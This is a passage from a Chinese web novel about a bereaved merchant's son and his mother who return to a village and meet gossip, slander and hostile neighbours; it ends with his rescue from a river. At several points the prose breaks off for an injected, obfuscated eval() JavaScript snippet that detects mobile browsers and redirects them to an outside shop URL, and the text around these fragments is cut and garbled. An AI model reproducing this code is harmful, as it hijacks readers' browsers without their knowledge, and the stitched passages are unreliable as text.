《府城来的小夫郎》 1. 第 1 章 静夜。 乍起的唢呐声惊起村中成片的鸡鸣狗叫，原本静谧的柳山村像是被投进石子的水面，一圈圈地翻涌开来。 送葬的队伍穿过村子，村头李家的娃娃被惊醒，扯开嗓子哭了起来。 吴翠娟骂骂咧咧地坐起身喂奶，一边数落身旁的自家男人。 “睡睡睡，就知道睡，你儿子哭死了你都不带看的。” 李四牛翻了个身，胡乱捂着头继续打起了鼾，吴翠娟气不打一处来，便转而咒骂起外头送葬的队伍来。 “吹吹吹，再吹也是个断子绝孙的命，连个摔盆的都没，死都死了还充什么排场，呸！” “有完没完了！”李四牛被吵得心烦，猛地一摔被子吼了一声，原本吃完奶安静下来的娃娃又被惊醒，发出了更加嘹亮的嚎哭声。 吴翠娟也被他突然的发作惊了一跳，本就心烦气躁，见他如此，顿时心头怒火更盛。 “好你个李四牛，终于藏不住了是吧？前天经过钟家你就盯着那狐媚子小哥儿看个不停，我不过说了他钟家两句你就这样吼我，丧良心的东西……” “我好苦的命啊，为了你们李家里外操持，竟然比不过一个外人，天杀的狐狸精……” 娃娃的哭声和吴翠娟吊嗓子似的哭喊叫骂混在一起传出老远。 四邻都被吵醒，听清李家吵闹的内容，俱是翻了个大大的白眼。 吴翠娟嫁过来两年，拈酸吃醋胡搅蛮缠的大戏唱了不知道多少回，都是寻常农户人家，真当她家李四牛是个什么香饽饽，谁都争着抢着往上扑不成？ 这吴翠娟也当真是不积口德，连人家办丧事也不放过。 众人在家中私下嘀咕，却也没人出声制止。 钟家久不在村中，和村里的关系早已生疏，没人傻得会去为了个不相干的人出头。 至于那吴翠娟嘴里的钟家小哥儿，说来话便就长了。 早些年南方受灾，柳山村接到官府的命令，接收了几户流民落户，钟家便是其中一户。 钟家原本是三兄弟，长子一家被大水冲走了，只剩下钟老二和钟老三，钟老汉在路上伤了腿，没能及时救治，便成了跛脚，一家的重担便压在了两个儿子身上。 钟家分到的地不多，根本不够一家人吃喝嚼用，为了糊口，钟老三留在家里种田，钟老二则是出外另谋生路。 村里人初时只以为钟老二是去外头出卖劳力挣点辛苦钱，村户人家没有门路，知道的挣钱法子也就只有这个。 可谁也没想到，不过几年，钟家竟然就盖上了房！ 村里人这才知道，看上去老实忠厚的钟老二在外头竟是做起了生意，闯出了名堂。 又几年，钟老二的生意越做越大，在府城买了宅子，把一家人都接了过去。 村里人都炸开了锅，万万没想到逃难来的钟家一家会有这样的造化。 背地里眼红嫉妒的不少，更多的却是实打实地羡慕。 据说钟家在府城开了好几个铺子呢，进出都有仆人伺候，那是真真地和他们这些地里刨食的不是同一路人了。 钟家的事被村里人当个稀罕事热热闹闹地议论了许久，钟家在村里没有亲戚，慢慢地，提起的人也少了。 谁也没想到，再次听到钟家的消息却是钟老二的死讯。 钟老二壮年病亡，膝下唯一的小哥儿扶灵回柳山村安葬，瞬间引发了村里的轰动。 柳山村这样的小村庄，多少年都出不了一个富户，钟老二从一个泥腿子成了府城里的老爷，最后却这样收场，一时之间，村里人茶余饭后聊的都是钟家的事。 钟老二的病和钟家的家产自然是众人闲话的中心，除此之外，钟家小哥儿也是不少人议论的焦点。 晏朝民风比起前朝开放许多，村里人进城时也见过旁人家娇生惯养的少爷小姐，可即便这些人加在一块儿，却也找不出一个比钟家小哥儿模样生得更加标致的。 村里有冒酸水假模假样地可怜钟老二连个摔盆的儿子都没有的，有私下里嘀咕钟家办事不靠谱连个长辈都不来让一个没出阁的小哥儿出头顶事的，更有些异想天开的，动起了攀上这门富贵亲事的心思……总之是各有各的算盘。 钟家小哥儿的相貌家世摆在那，吴翠娟闹的这一通在村里其他人眼里便只有引人发笑的份。 第二天一早，吴翠娟就收拾包袱带着孩子回了娘家，更是给这出闹剧添了把火。 李家邻居嘴里说着劝李四牛去接母子俩回家的话，眼里却都是看热闹的幸灾乐祸。 李四牛本来便觉得闹成这样丢了面子，被众人你一言我一句地说得愈发心头火气，硬邦邦地说了句：“爱去便随她去。”便扛着锄头去了地里。 村里的闲话向来传得快，村口柳家院子里，几名妇人夫郎正聚在一处打络子。 几人手上不停，一边听着张桂花绘声绘色地讲起昨晚李家的闹剧。 柳家的院墙不高，坐在院子里便能看见远处田里劳作的身影，柳夫郎收回目光，撇了撇嘴：“真是个屎壳郎，抱着个屎团子当成宝了。” 张桂花跟着啐道：“就是，莫说人家钟家小哥儿，便是村里人家又有几个瞧得上她家李四牛的，天天胡乱攀扯，早晚烂嘴黑心。” 张桂花娘家侄女被吴翠娟找事骂过一场，一直记恨着，其余几人都知道这事，此时都跟着附和。 “贱人自有天收，她之前仗着怀着身子死命作，如今李四牛也被她闹烦了，看她这次怎么收场。” “早就说过她没脑子，钟家那是府城来的人家她也敢这么胡扯，等着瞧吧，钟家要是知道了还有她好受的。” “钟家小哥儿在自家院子里办个丧事都能被她记恨上，也真是倒霉……” 话题转来转去又转回了钟家小哥儿身上，柳风想起昨晚儿子跟他商量的事，眼神转了转，正想说话，却先被不远处响起的马蹄声打断。 马匹价贵，不是寻常人家能用得起的，柳山村上次有马车进村还是前几日钟家扶灵回来，除此之外，众人见到马车时都是在城里由贵人搭乘。 因此这架突然出现在村道上的马车一下便吸引了许多人的注意。 柳风几人都停下了手中的活，伸长了脖子好奇地往外看去。 “砰——”柳家放在院子里晒水的木盆被人一脚踢翻，柳风惊魂未定地回过头，就见自家儿子满脸慌乱地跑进来。 “不好了！阿爹。” · 钟家老宅门口。 柳山村村长柳有宗看着面前眉眼油滑的钟家家仆和他身后已经整装待发的车马，还有些没回过神来。 “你是说钟少爷要留在柳山村？” 王顺有些为难地看了眼慢慢聚起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081383|195332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的围观村民，“压低”声音对村长说：“这是我们老太爷和老夫人的意思，让三少爷在村里静静心收收性子，我们钟家原本的户籍便是落在村里的，这应当没什么问题吧？” 柳有宗眉头皱紧：“是没问题，可钟少爷一个未婚小哥儿……” 王顺接过话头：“这你不用担心，我们二夫人爱子心切，也会留在村里陪同，本是一道出门的，二夫人路上染了风寒赶不得路，担心影响二老爷下葬，才让我们先行。” “哒哒”的马蹄声由远及近，王顺转头看过去，意有所指地抬高声音：“二夫人到了。” 车夫驾着马车停在院门前，摆好马凳，车帘掀开，一个面带病容的中年妇人拉着车门撑起身体，王顺刚要装模作样地上前搀扶，就被人一把推开。 他转头看去，钟意竹正站在车前，小心翼翼地扶着孙芸娘下车。 周围的人本来还因为王顺之前的话在窃窃私语，因为钟意竹的出现，人群里蓦地一静。 因为听说钟家人今天要走，来看热闹的村民不少，钟意竹这几天操办丧事并没怎么出门，见过他的人只是少数。 众人知道钟家小哥儿长得标致大多是因为口口相传，甚至有人私下里满怀恶意地猜想是其他人想拍钟家马屁才如此吹嘘一个小哥儿的样貌。 如今骤然得见，人堆里甚至有人传来了惊讶的吸气声。 钟意竹一身素服，满头乌发也只用一根木簪随意拢在脑后，偏是这样素净的打扮，更衬得他容貌出挑。 直到钟意竹扶着孙芸娘下车，周围人的目光落在孙芸娘病恹恹的面容上，这才又重新议论起来。 王顺敷衍地对着孙芸娘作了个揖：“既然二夫人到了，我们就先告辞，回去复命了。” 说完也不等孙芸娘反应，他便转身开始吆喝着其他人准备出发。 直到这时，围观的人群才真正开始哗然起来。 刚刚赶到的柳风戳在人堆外围挤不进去，呼哧带喘地抓住一个相熟的村民询问情况。 “怎么回事？听说钟家要走了，这么快就走了吗？” 被抓着胳膊的村民一边踮着脚看热闹一边应他：“可不是要走了，我看钟少爷和他娘要留在咱们村呢，邪了门了你说钟家这是唱哪出……” 柳风松了口气，人留下了就好，人还在村里就还有机会。 柳风拍了拍胸口，他本以为钟家小哥儿留在村里是还有别的事，抬头看向钟家离开的车马时却忍不住眼皮一跳：“钟家怎么一个下人都没留？” 然而他的问题却没人能够回答。 谁也没想到钟家小哥儿和他娘会留在柳山村。 钟意竹扶着孙芸娘进了宅子后就合上了院门，柳有宗看着围观的村民皱紧了眉：“都散了，围在这里做什么？活都干完了？” 人群三三两两地散去，都还在议论着钟家的事，因为王顺之前意有所指的两句话，难免有人猜测钟意竹是不是因为犯了什么错被罚。 可不管怎么揣测，众人也只是私下里嘀咕，毕竟再怎么说钟意竹也是钟家人，指不定过几天就被接回府城了，真要和他们计较也够他们喝一壶的，他们可不是吴翠娟那种没脑子的。 然而到了晚些时候，一条传言却迅速流传开来，不仅彻底解开了大伙儿的困惑，也打破了钟意竹这个府城小哥儿在众人眼中的高贵幻象。 2. 第 2 章 晏朝讲究人死为大，钟老二亡故，钟家二老不来尚且可以说是年纪大了不便长途奔波，可钟老三一家连个面都没露，属实是有些说不过去的。 村里人因为对钟家的忌惮只是在私下里嘀咕过几句，村里虽然爱传闲话，可哪些能惹哪些不能惹还是能分清的。 也有人猜测过是不是城里有什么他们不知道的规矩，直到真相揭露—— 钟家长辈并不是不愿意过来操持葬礼，好好送钟老二走完最后一程，而是正焦头烂额地留在府城处理钟家小哥儿惹下的烂摊子！ 若不是钟家仆人离开时不小心说漏了嘴，他们都还蒙在鼓里，以为这小哥儿是个好的，一个城里小哥儿独自护送父亲回村安葬，绝对算得上孝顺之举，如今看来，怕是惹了事不得不出来避祸罢了。 再结合王顺在钟家老宅门口和村长说的话，村里人都恍然，这钟家小哥儿哪是什么香饽饽，分明是个烫手山芋。 钟家明摆着是要给钟意竹一个教训，连个仆人都没留在村中，既是这样的态度，村里人便也没了顾忌。 原先吹捧钟家小哥儿的那拨人话风转得最快，这个说钟意竹眼尾上挑，看着便不安分，那个嚷着钟意竹品行不端爱惹事，可别连累了他们村云云。 家家户户关起门来都在叮嘱自家年轻汉子千万要离那钟家小哥儿远些，别被他勾搭了去，柳玉更是拎着儿子的耳朵让他应下绝对不再惦念钟意竹才算放下心来。 …… 钟家老宅建在村子北侧，当年钟家落户柳山村，宅基地也只能搭在村子外侧划分。 钟家逃难而来，初时连像样的房子都建不起，只能搭草棚，吃野菜，后来钟老二发家，钟家推掉了茅草屋，在原地建起了漂亮的青砖房，惹得村里人好一阵羡慕。 青砖价贵，建的房子也结实耐用，可再好的房子放了十多年无人照看也会破败腐朽。 钟意竹刚回到老宅那天就知道，他那个拿了钱号称专门请了人打理老宅的三叔从头到尾都是在撒谎。 屋顶的瓦片大都在风侵雨蚀中风化损坏，院内杂草丛生，连门上的锁头都已锈迹斑斑。 钟意竹在过往十七年的人生里从没有踏足过这样的居所，他出生在钟家发迹之后，从小虽说不上锦衣玉食，却也是被父母捧在手心里精心娇养着长大，受过最大的委屈便是爷奶冷落他偏心其他兄弟姐妹。 每次他受了委屈，钟父都会变着法地哄他开心，小时候是稀奇的玩具吃食，长大后是他喜欢的各种奇香。 可如今他已经没有爹了。 钟意竹神色木然地跟在抬棺的仆人身后进了堂屋，不顾满地的尘土，直挺挺地跪在了棺前。 他脸上没有泪痕，平日里透亮灵动的桃花眼此时却氲着极深的哀恸茫然，干涸得挤不出一滴眼泪，他想不通，爹那么好的人，为什么上天要这么残忍地带走他。 王顺皱眉用手扇开面前扬起的尘灰，头顶的天光透过瓦片破损的缝隙洒在堂屋地上，王顺瞥了眼钟意竹的背影，又幸灾乐祸地环顾了一圈四下的环境，最后的目光落在堂屋正中的棺材上。 到底是怕落人口舌，王顺最终还是让人去村里找人来修缮了屋子。 因此等孙芸娘抵达柳山村时，看到的场景便已全然不同——院内的杂草已经除尽，屋顶的瓦片也找捡瓦匠换了新的，窗户上是新糊的纸，打眼一看，这房子虽比不上府城里的宅院，也算是个过得去的居所。 孙芸娘在路上一直悬着的心直到此刻才算是稍微放下一些。 那王顺早已是三房的人，路上便阴阳怪气，对他们暗中刁难，偏偏她自己的身体不争气，刚出发两日便病得赶不了路，已近夏日，尸身久放不得，只能让钟意竹扶灵先行。 院门关上，孙芸娘顾不上其他，先拉着钟意竹的手将他上下打量了一番。 少年本就身形单薄，如今更是薄薄一片，随时要被风吹走似的，脸颊上的软肉都已消减，眼尾的红痕像是被心血浸出的印。 “瘦了这么多。” 孙芸娘话音未落便红了眼，她和夫君如珠如宝地养大的小哥儿，如今却被迫独自面对这天崩地裂的一切。 是他们耽误了他。 “我身体好，瘦点也没关系，娘亲你先进屋休息，我去给你烧水煎药。” 钟意竹不想让孙芸娘担心，打了个岔扶着她往堂屋走去，娘亲的伤心难过不比他少半分，风寒未愈再加上舟车劳顿，光是下车走进院子这几步就已经嘴唇泛白了。 娘亲是为了陪他才留在村里，他绝不能让娘亲再出任何的意外了。 钟意竹推开堂屋门，孙芸娘抬眼便愣了愣。 王顺修缮屋子是为了面上过得去，自然不会管里面的家具器物，如今堂屋里撤了灵堂，便只剩零散几只破旧的椅子，连桌子都没有一张。 钟意竹把孙芸娘安置好便去了厨房取水，等他回来时，却没看见孙芸娘的身影。 “娘？” 钟意竹四下张望了一圈，看见自己住的西屋房门开着，他端着水走过去，透过房门看见娘亲正弯腰抚摸着床上的被褥。 听见钟意竹的脚步声，她转过身，还没来得及说话泪水便已经流了满面。 “竹哥儿，是娘对不起你，娘没用，护不住你。” 钟老二走后，孙芸娘便一直在后悔，没有提前给钟意竹找一个好的归宿。 晏朝的小哥儿女子大多在十七八岁成婚，讲究一些的人家提前两年便开始相看了，她家小哥儿生得好，想结亲的人家险些把钟家门槛踏破。 可她和夫君宝贝小哥儿，挑来挑去硬是没挑到十分中意的，折腾了一年多，钟老二便起了别的心思，开始和她商量要不给小哥儿招婿，把小哥儿留在身边，总不至于被人欺负了去。 孙芸娘自是十分赞成，立马转了路子开始挑选哥儿婿，她挑得细致，怕读书人薄情，又担心商人狡猾，挑了许久也才确定下三个备选。 左右是招婿，进门晚些也没事，她本以为还有时间可以仔细观察，可怎么也没料到钟老二会突发疾病，走得如此突然。 钟家没有分家，除了铺子里的公账，钟老二赚到的钱一直交在公中由钟老太掌管，钟老二孝顺仁义，连钟老三一家也给了间铺子管着，每月发着分红，钟家一家靠着他，过的都是府城里老爷夫人的日子，比起从前连饭都吃不饱的时候，堪称飞黄腾达。 可这世上并不是所有人都值得真心以待的，哪怕是父母兄弟。 钟老二病亡，孙芸娘和钟意竹还沉浸在巨大的悲痛之中时，钟老三便撕破了平日里兄友弟恭的虚伪假面，开始盘算起了钟家的家产。 孙芸娘也是到那时才知道，他们百般反对给竹哥儿招婿，就是怕家产被分走半分，原本钟老二没有儿子，他们便已经把钟家的家产全部视为囊中物了，甚至不止他们，连钟老太和钟老汉也是这样的想法。 他们在钟老二死后做的第一件事便是赶走钟老二的亲信，把账册配方全都拢到了自己手里，第二件事便是把钟意竹当成礼物送出去讨好官员。 孙芸娘得知此事时钟意竹已经被退了回来，一向温柔贤良的孙芸娘当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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村长娘子周氏是个炮仗脾气，当即皱起眉道：“你是说村里传得那般难听，都是钟家仆人故意的？对一个小哥儿用这种手段，真是一群烂了心肝的贱人！” 柳有宗头疼地按着太阳穴：“你小点声，这不是我们能掺和的事，你知道就行别到处嚷嚷。” “爹，有人找你！” 屋外传来大儿子的喊声，柳有宗起身出门，看清院门口站着的人影时便是一怔。 此时夕阳西垂，家家户户都起了炊烟，干农活的人成群结队地往家里走，村舍间时不时传来叫小孩回家吃饭的喊声，钟意竹伶仃一人站在院门外，见到他时十分有礼地欠了欠身。 “打扰了村长，我想买两床被褥，不知村里情况，请问可有人家售卖现成的？” 周绍芬原本是站在门口张望的，看见是个没见过的漂亮小哥儿便猜到了来人的身份，她走上前正好听清钟意竹的问题，接过话道： “村里人家都是自己做来自家用的，没有专门做来卖的，我家里正好有床新的做好还没用，我再带你去问问别家。” 钟意竹连忙道谢，周绍芬爽快地摆了摆手：“都是小事，乡里乡亲的搭把手的事，你又不是不给钱，没什么好谢的。” 有村长娘子带着，钟意竹想要的被褥买得很顺利，可即使如此，他在经过某些人家时仍然听到了几句没压住声量的闲言碎语，还有那些凝在他身上的目光里透出的微妙恶意。 钟意竹抱着两床被褥往家里走时天色已经暗了下来，他加快脚步，在即将拐弯时却正好碰见了正拉扯着往前走的一男一女。 钟意竹往路边让了让，却没想到两人突然在他身旁停住了脚步。 “哟，这不是钟家少爷吗？” 尖酸刻薄的女声吊得高高的，生怕旁人听不见似的。 钟意竹皱眉看过去，他不认识眼前的人，可女人看他的眼神却满是恶意。 “抱这么多床被褥做什么？”吴翠娟装模作样地捂住嘴，“莫不是爬床的男人太多了不够换吧？” 3. 第 3 章 正是吃晚饭的点，天气渐热，村里不少人家都喜欢把饭桌摆在院子里，家家户户人都齐全。 听见这边的动静，不远处的院墙边早有人探出脑袋，兴致勃勃地观望着。 钟意竹没有见过如此直白粗鄙的骂人方式，更不明白眼前的妇人对他的恶意从何而来。 他从小被教导与人为善，可一味的善良忍让又为他们一家人带来了什么呢？ 想起那些藏在背后窸窸窣窣的议论，钟意竹知道，他今天要是不还击回去，那人人便都会觉得他好欺负，他能欺负。 更何况对方张嘴便是毁人名节的造谣，用心堪称歹毒。 身后不知从哪传来一声口哨，然后便是零碎几声不怀好意的哄笑声，有看热闹不嫌事大的隔着老远喊道：“吴翠娟你不是回娘家了吗，怎么这么快就回来了？” 吴翠娟对着那边呸了一声：“你管我回不回？”呸完又幸灾乐祸地睇了一眼钟意竹，“狐媚子成天勾引别家男人，遭报应了吧，连钟家都嫌你丢人不让你回去，我要是你都没脸活在这世上，找根绳子吊死算了。” 钟意竹闻言恍然，他感到一种难以言喻的荒唐：“我都没见过你们。” “哪有偷吃的贼会承认自己是小偷……” 一阵风吹过，明明是不凉的，钟意竹却生生打了个冷颤。 昏暗的天光下，吴翠娟尖酸得意的嘴脸像要吃人的鬼面。 到这一刻，钟意竹才明白爹许久之前跟他说过的那句话。 ——在村里，人是能吃人的。 吴翠娟见钟意竹一脸难以置信，显然是个不会吵架的，原还想接着再往他头上多扣几个屎盆子，却被钟意竹冷着脸打断。 “我们钟家连铺子里招的小工都要求平头正脸，品格端正，你相公连我家招工的条件都达不到，凭什么觉得我看得上他？” 钟意竹连视线都没有往李四牛那边瞥去半分，他看着吴翠娟刻薄愤怒的面容，轻飘飘地送出一句。 “这位娘子有空像条蚂蟥似的追着人胡搅蛮缠，不如去医馆抓副药治治眼疾。” 吴翠娟自认吵架厉害，可那也仅限于村里互相对骂，钟意竹虽打扮素净，站在那里却任谁都能看出来他和村里人的不同，这也让他嘴里说出的话显得十分具有说服力。 不知为何，吴翠娟莫名便觉得自己的气势矮了一截，尤其是在听到旁边院子里传来的哄笑后，她更加怒火中烧，上手便想撕扯钟意竹。 “你个小贱蹄子敢骂我！” 钟意竹自然不会在原地站着被打，他往旁边闪开，正犹豫要不要叫人，李四牛已经拦住了吴翠娟。 “够了，不要再闹了！” 趁两人拉扯，钟意竹稳了稳心神，拐进旁边的岔路，快步往钟家老宅的方向跑去。 “怎么急急忙忙的？” 钟意竹还没到家，就看见孙芸娘站在院子门口等他的身影，他连忙跑上前。 “娘，你身体还没好，出来做什么？” 孙芸娘伸手帮他理了理跑乱的额发，她的儿子她自己知道，不会说谎，不知道怎么回答的时候就只会岔开话题。 她轻轻拍了拍钟意竹的背心，没再追问。 “只是站一会儿不碍事，进屋吧，给你留的饭应当还没凉。” 孙芸娘娘家只是小商户，后来她爹娘因为天灾离世，她便被寄养在了舅舅家，直到嫁人。 她刚嫁到钟家时钟老二也还只是一个刚到府城闯荡的小商人，尚未挣下如今的家业，她同样得和在家里时一样做饭洗衣，操持家务。 比起十指不沾阳春水的钟意竹，孙芸娘在面对如今的生活时显得从容许多，只是她身体还没恢复，钟意竹坚持不让她做饭，花钱请了隔壁的赵大娘帮忙送饭。 前些年边境战乱，大晏花费了不小的代价才赢下战争，如今大晏仍在休养生息，柳山村所在的南方虽然富庶些，村里的生活却也只是能让大伙儿填饱肚子，一年半载才能见些荤腥。 吃完一碗没滋没味的杂粮饭和炒野菜，钟意竹有些懊恼，是他没有想周全，他吃这些就算了，娘亲还要养身体，只吃这个怎么行。 东边主屋，孙芸娘低头看向钟意竹放到她面前的小盒子，盒子里放着一些散碎银两和首饰，加起来估摸有三十两。 “娘，这些你收着吧。” 孙芸娘叹了口气：“傻孩子，都给我你用什么。” 钟意竹垂眼看着椅子上昏黄的烛火：“我会想办法赚钱的。” 他从钟家离开时，钟老太亲自发了话，既然他不愿意为钟家做贡献，他也没有资格拿走钟家的钱财。 他没什么私房钱，爹娘给的月钱大都攒着拿去买各种奇香，钟家做香铺生意，售卖各种香膏香粉香丸，他从小就嗅觉出众，爹制香时总带着他，耳濡目染，他长大后不爱买金银首饰，反而喜欢各种香丸，父母纵着他，他也从未想过要存什么私房钱。 事已至此，他能带走的也只有那一箱子乱七八糟的香，以及寥寥一点连钟老太都不放在眼里的财物。 他这里是这样，娘亲那里也好不到哪去。 钟意竹一开始想不明白，为什么爹和三叔是亲兄弟，他和堂兄他们都是孙辈，钟老太和钟老汉会偏心成这样，后来他便知道了，人大概总是会偏向和自己相像的孩子，一样的蝇营狗苟，一样的见利忘义。 三十两银子不过是他从前一年的月银，如今却已经是他赖以生存的全部身家了。 钟意竹想起什么：“对了娘，那份地契……” “那个先不急。” 孙芸娘转身从枕头下摸出一个小小的包裹，打开后里面是两个银锭和几件银首饰，这是她当年嫁进钟家时带的嫁妆，钟老太再刻薄也没理由昧下。 “娘有银子用，你的钱自己收着。” 孙芸娘把钟意竹的盒子推到他面前，钟意竹正想反驳，就见孙芸娘拿起包裹里的银镯，掰开搭扣。 钟意竹惊奇地瞪大眼，眼睁睁看着她娘亲从空心的银手镯里拿出了一张面值三百两的银票。 孙芸娘轻轻抻了抻银票上的折痕，抬眼对上钟意竹惊讶的神情，微微笑了笑，眼含怀念地给他讲述起了他不知道的往事。 “元景十五年太后寿诞，据传番邦进贡了一种奇香，深得太后和天子喜爱，后来民间有许多人开始效仿皇室用香，那一年光景好，你爹赚了不少银子，钟家香铺也是在那之后才开起来的。” “那时我已经嫁到钟家三年，肚子一直没有消息，你祖母因此对我极不满意，你爹有一天突然拿了这张银票给我，说娶我的时候手里不宽裕，这是补给我的聘礼，让我自己收起来。” 孙芸娘眼里含着泪光：“你说你爹是不是早知道有这么一天，连走了都要护着我们娘俩。” 从她发现三房把竹哥儿送出去的那刻起，孙芸娘就知道，这个家已经容不下他们了。 这张银票她一直收在放嫁妆的盒子里，和三房撕破脸后，她便想办法把银票塞进了陪嫁镯子里，舅母向来不待见她，又想充场面表示自家没亏待她，便给她打了一个看上去厚实大气的空心镯子，正好派上用处。 她本是防患于未然，却没想到钟家那几人会当真狠心绝情到这种地步。 她手里的嫁妆换成银子有二十多两，再加上三百两银票，若是在县城里买个铺子出租，也够他们母子活下去了。 孙芸娘给钟意竹吃了颗定心丸，让他带着他的钱盒子回去歇息了。 东屋里，孙芸娘把银票小心收好，眉间却凝着散不开的担心忧虑。 她的竹哥儿心思单纯，只想着跟娘一起就好，可竹哥儿下半年就要满十八了，早就已经到了成家的年纪。 如果能给竹哥儿觅得良婿，这三百两全部陪嫁给小哥儿或者用来给他招赘她也愿意，可他们孤儿寡母没有倚仗，这笔钱却是万万不能让人知道的。 左右才刚到村里，人生地不熟的急也急不来，孙芸娘咳了两声，按捺下心底的万千思绪，吹熄烛火上了床。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081385|195332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >次日天光晴好，是这几天来难得的好天气。 钟意竹学着隔壁赵大娘的样子把新买的被褥抱到院子里晾晒，家里什么都缺，他想去城里采买，孙芸娘却不放心让他独自前往，坚持让他等她病好再一起去。 钟意竹知道娘亲担心什么，也没和她争，只是拿着铜板去找赵大娘换了一些必需品。 等钟意竹抱着换来的一堆散碎用品离开，赵大娘的儿媳忍不住道：“娘，咱们卖他这么贵合适吗？” 不说别的，山上就能摘的皂角也能卖五文钱一捧，这在儿媳眼里简直不可思议。 赵大娘掂着手里的铜板，笑得精明：“你懂什么，这种不识五谷的城里哥儿手里最松了，你没见他付钱的时候眼都不眨。” 儿媳迟疑着点了点头，又想起什么：“那他改日去了镇上知道价格不会来找我们麻烦吗？” 赵大娘不以为意：“他是急用，我们救急，价格自然和城里不同，那我们买了东西还得从城里背回来呢，再说了，他一个小哥儿一个寡母敢找我们麻烦？就算闹到村长面前也没有我们白白送人东西的道理……” 赵大娘说了半天，见儿媳仍是一脸怯懦，当即便是一阵不耐烦，她随手挥了挥：“算了，多余跟你说这些，趁天气好去把家里的衣裳洗了。” 儿媳连忙点了点头，先动作麻利地干完手里的活，才收拾好要洗的衣裳，紧赶慢赶地抱着木盆出了门。 柳山村西边有个浅滩，村里人大多都在这里洗衣裳。 钟意竹来得早，浅滩边还没有旁人。 他放下木盆先盯着波光粼粼的河面饶有兴致地看了一会儿，才蹲下身开始琢磨洗衣的事。 孙芸娘原本不想让他来，可他们都已经住在了村里，他自然也要学着过村里人的生活，没干过活可以学，没做过饭也可以学，他如今已经长大成人，总不能事事都靠着娘亲。 他回忆着以前看到过的家里下人洗衣的样子，先给盆里装上水，衣服泡在水里，接着他便不知道该做什么了。 钟意竹有些后悔没问清楚娘亲怎么洗便急急忙忙跑出来了，周围也没有他可以学习的对象。 他想了想，从布兜里掏出刚才买的皂角，一股脑全放了进去。 钟意竹用手搅了搅，按照赵大娘说的挤了挤皂角，果然看见一些细小的白色泡泡，他用力挤了半天，手都挤酸了才挤得盆里的皂角不再出沫。 钟意竹舒出一口气，看着盆里的衣裳，不太确定这是不是便算洗好了。 他拎起衣服看了看，又试着拧了拧，最后索性把盆里的水全倒了，便抱起盆准备离开。 河对岸，围观了全程的裴穆一言不发地把装了虾蟹的篓子从河水里拿了出来。 虽然对面的水流不过来，但是被这么笨的人刚摸过，还是不要沾上比较好。 裴穆这次进山待了好几天，收获颇丰，他不想从村里经过，便绕了一下过了河，打算从这边的路去县里出手猎物。 篓子里的虾蟹是他顺手弄的，深山人迹罕至，虾蟹也就没那么机灵，好抓且肥，他下山的时候顺便抓了一篓，走到半途，篓子里的水洒出来不少，他便找了个地方装水，顺便让鱼虾在活水里泡一会儿，恢复些活力，到了县里更好出手。 柳山村对侧的河岸水草茂盛，浅滩那边的人看不到他，他却透过缝隙看了个清楚。 裴穆想不起来自己在村里见过这号人，只以为是哪家哪户来的城里亲戚，没多放在心上，垂眼拨弄了下篓子里的虾蟹，见都活蹦乱跳，便起身扛起一旁的猎物，一手拎筐，一手拎鱼篓，往进城的方向走去。 他身上穿的衣服衣摆处沾了些草籽，总体却算得上干净，上午的阳光打在他脸上，路旁的水荡里映照出一道劲瘦修长的身影。 裴穆正在盘算今天的猎物送到哪家出手，到手能有多少银钱，远处却突然传来一阵惊叫。 裴穆没什么看热闹的兴致，皱了皱眉便继续往前走，直到几息后耳畔突然捕捉到几声含糊的救命，由远及近。 4. 第 4 章 裴穆脚步顿了顿，又往前走了几步，才皱着眉捡了根树枝拨开旁边的水草往河面上看去。 柳山村往下的这一河段河面窄，水流看着急，却并不深，夏日里常有胆子大的小子跑来浮水玩，顺着水流往下甚至能直接漂到隔壁村，可以漂好长一段路。 只是对于不会水的人来说，再浅的水也足以致命。 水里的人扑腾的动静已经很小，显然已经呛了不少水，裴穆低低地骂了一声，扔下手里身上的东西跳了下去。 裴穆水性好，力气也大，把人捞上岸并没费多大力气。 他早就认出这是片刻前在浅滩边见过的那个陌生小哥儿，他有些费解地想，不会洗衣服就算了，那么宽的河滩都能把自己往河道里栽，莫非真是个傻子？ 他把人送上的是柳山村这边的河岸，自己的猎物还在对面，裴穆救了人也没什么话好说，更不想沾惹麻烦，转身便打算趟水回去。 钟意竹骤然被从水里捞起，口鼻接触到新鲜空气，急着想要呼吸却狠狠地呛咳了几下，心肺连着喉咙鼻腔都是一片火辣辣的疼，难受得眼眶泛红。 他浑身瘫软地趴在地上大口喘息，等缓过来抬头时，只来得及捕捉到裴穆离开的背影。 钟意竹哑着嗓子，说话也断断续续：“多谢郎君搭救，郎君可否……留下名讳，改日……我好登门道谢。” 裴穆有些意外地顿了下脚步，原来不是傻子。 他头也不回，说出的话也半点不留情面。 “不用，别来烦我。” 钟意竹有些怔愣地看着裴穆的身影消失在了对岸的水草从间，一阵风吹来，吹得他打了个冷颤，像是凉到了心底。 钟意竹抓着湿透的衣裳，慢慢把自己团成一团，他用力把头埋在膝盖上，压抑的哭声像小兽的呜咽。 他明明什么都没有做错，可如今人人避他如蛇蝎，人言如刀，他真的能带着娘亲在这个地方活下去吗？ 片刻前，钟意竹本是洗完衣裳起身准备回去，没走两步却恰好遇到吴翠娟与人结伴前来洗衣。 